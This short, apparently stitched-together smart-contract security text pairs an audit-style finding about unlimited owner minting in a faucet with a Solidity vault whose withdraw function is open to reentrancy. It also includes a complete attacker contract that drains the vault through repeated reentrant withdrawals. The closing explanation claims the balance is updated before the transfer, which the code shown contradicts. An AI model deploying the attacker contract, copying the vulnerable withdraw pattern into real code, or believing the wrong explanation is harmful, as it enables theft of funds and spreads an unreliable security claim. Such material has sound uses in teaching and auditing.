Owner can mint unlimited tokens to the contract.
High, due to unrestricted owner privileges.
Faucet’s purpose for fair distribution defeated.
Owner calls mintFaucetTokens(address(this), 1_000_000_000_000 ether) to mint excessive tokens.
pragma solidity ^0.8.20;
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance");
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "Transfer failed");
balances[msg.sender] -= amount;
}
function contractBalance() external view returns (uint256) {
return address(this).balance;
}
}
contract ReentrancyAttacker {
VulnerableVault public vault;
address public owner;
uint256 public attackAmount = 1 ether;
bool public attackActive;
constructor(address vaultAddress) {
vault = VulnerableVault(vaultAddress);
owner = msg.sender;
}
function depositToVault() external payable {
require(msg.sender == owner, "only owner");
require(msg.value >= attackAmount, "send at least attackAmount");
vault.deposit{value: msg.value}();
}
function attack() external {
require(msg.sender == owner, "only owner");
attackActive = true;
vault.withdraw(attackAmount);
attackActive = false;
}
receive() external payable {
if (attackActive) {
uint256 vaultBal = address(vault).balance;
if (vaultBal >= attackAmount) {
vault.withdraw(attackAmount);
}
}
}
function collect() external {
require(msg.sender == owner, "only owner");
payable(owner).transfer(address(this).balance);
}
function attackerBalance() external view returns (uint256) {
return address(this).balance;
}
}
the contract updates the attacker's balance before performing the external transfer. If an attacker re-enters withdraw during the external call, their balance has already been reduced and the reentrant call will fail the require check.